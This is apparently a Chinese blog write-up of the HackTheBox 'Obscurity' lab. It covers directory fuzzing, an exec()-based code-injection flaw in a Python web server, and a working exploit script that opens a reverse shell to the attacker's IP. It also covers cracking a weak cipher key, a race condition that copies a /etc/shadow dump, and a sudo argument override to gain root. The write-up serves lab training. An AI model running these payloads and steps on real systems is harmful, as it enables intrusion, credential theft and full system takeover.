文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-03-09   2.8k

HTB::Obscurity Walkthrough

0x01 Introduction

0x02 Tools and Tips

  • nmap
  • wfuzz
  • Python代码审计
  • 代码执行漏洞

0x03 Pentesting

Nmap扫描端口发现开放了 8080 的web端口

页面提示有一个源码泄露

1
Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory

那我们就需要爆破目录了,使用 wfuzz

1
sudo wfuzz -c -z file,common.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py

得到服务器源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)

class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False

def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))

def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()

def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False

def handleRequest(self, request, conn, address):
if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]

statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"


resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)

data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0

def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}

审计源码,大致说一下代码的含义,开启socket监听,接收到http请求,调用 Request 类的 parseRequest 方法做分割,然后调用 handleRequest 处理请求,通过 serveDoc 处理请求的文档。

查找敏感函数发现关键点:

1
2
3
4
5
6
7
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)

这里的path是污点参数,exec函数存在命令注入:

1
path = "\';os.system('whoami')#"

然后通过python反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import urllib
import os

url = 'http://10.10.10.168:8080/'

path='5\''+'\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.146",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])\na=\''

payload = urllib.parse.quote(path)
print("payload")
print(url+payload)

r= requests.get(url+payload)
print(r.headers)
print(r.text)

Python 反弹shell讲解:https://www.leavesongs.com/PYTHON/python-shell-backdoor.html

进入robert目录:

查看敏感文件

check.txt

1
Encrypting this file with your key should result in out.txt, make sure your key is correct!

chect.txt加密后的结果是out.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[email protected]:/home/robert$ xxd out.txt
xxd out.txt
00000000: c2a6 c39a c388 c3aa c39a c39e c398 c39b ................
00000010: c39d c39d c289 c397 c390 c38a c39f c285 ................
00000020: c39e c38a c39a c389 c292 c3a6 c39f c39d ................
00000030: c38b c288 c39a c39b c39a c3aa c281 c399 ................
00000040: c389 c3ab c28f c3a9 c391 c392 c39d c38d ................
00000050: c390 c285 c3aa c386 c3a1 c399 c39e c3a3 ................
00000060: c296 c392 c391 c288 c390 c3a1 c399 c2a6 ................
00000070: c395 c3a6 c398 c29e c28f c3a3 c38a c38e ................
00000080: c38d c281 c39f c39a c3aa c386 c28e c39d ................
00000090: c3a1 c3a4 c3a8 c289 c38e c38d c39a c28c ................
000000a0: c38e c3ab c281 c391 c393 c3a4 c3a1 c39b ................
000000b0: c38c c397 c289 c281 76 ........v

passwordreminder.txt

1
2
3
4
[email protected]:/home/robert$ xxd passwordreminder.txt
xxd passwordreminder.txt
00000000: c2b4 c391 c388 c38c c389 c3a0 c399 c381 ................
00000010: c391 c3a9 c2af c2b7 c2bf 6b ..........k

SuperSecureCrypt.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import sys
import argparse

def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted

def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)

parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)

parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()
banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()

print("Decrypting...")
decrypted = decrypt(data, args.k)

print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()

print("Encrypting...")
encrypted = encrypt(data, args.k)

print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)

BetterSSH.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")

with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)

passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break

if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass
hash = crypt.crypt(passW, salt)

if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
traceback.print_exc()
sys.exit(0)

if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

现在已知条件是明文check.txt,密文out.txt,以及加密算法encrypt,求解密钥,爆破Python代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import string

with open('check.txt', 'r', encoding='utf-8') as f:
mingwen = f.read()

key = ''

with open('out.txt', 'r', encoding='utf-8') as f:
miwen = f.read()
for c in range(len(mingwen)):
for i in range(255):
ch = chr((ord(miwen[c]) - i) % 255)
if ch == mingwen[c]:
key += chr(i)
break
print(key)

得到密钥alexandrovich,解密passwordreminder.txt

使用这个密码登录robert的SSH终端,获得user.txt。

sudo -l查看能够以root身份执行的命令:

1
2
3
4
5
6
[email protected]:~$ sudo -l
Matching Defaults entries for robert on obscure:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

审计源码发现关键点:

1
2
3
4
5
6
7
8
9
10
11
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)

passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)

程序会将 /etc/shadow 写入到 /tmp/SSH 的某个随机的目录中,于是想到我们只需要写个死循环不断地复制该目录下的文件即可

1
2
3
4
5
6
import shutil
import os
while True:
files = os.listdir("./SSH")
for file in files:
shutil.copy(os.path.join("./SSH", file), "./flag");

然后我们执行就会发现 flag 目录中存在文件

再用John光速解密得到mercedes,提权

还有一种更常规的提权方法:

1
2
3
4
5
6
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

sudo -u robert -u root会覆盖前面一个-u的参数值。

0x04 Summary

Obscurity靶机是我做的第一个不是CVE类型的靶机,源码审计起来有些吃力,多看看这种类型的应该会好一些。首先是服务器源码存在命令注入,可以执行系统命令从而反弹shell,以www-data的身份登录靶机。然后作者提供了一个密文、明文以及加解密算法,让我们写脚本爆破出密钥,通过这个密钥得到robert用户的登录密码,得到user.txt。然后在BetterSSH.py中存在两处可以利用的漏洞,第一处漏洞有点类似于条件竞争,用一个死循环的脚本把BetterSSH.py/etc/shadow复制到/tmp/SSH的文件再次复制到一个自定义的目录下面,从而得到root的密码。第二处漏洞,虽然-u参数指定了当前用户的权限执行命令,但是用户输入的第二个-u root可以覆盖掉第一个-u参数从而绕过。总的来说,审计代码和编写代码的能力都有待加强。

0x05 Reference

https://www.leavesongs.com/PYTHON/python-shell-backdoor.html

Copyright © ca01h 2019-2020 | 本站总访问量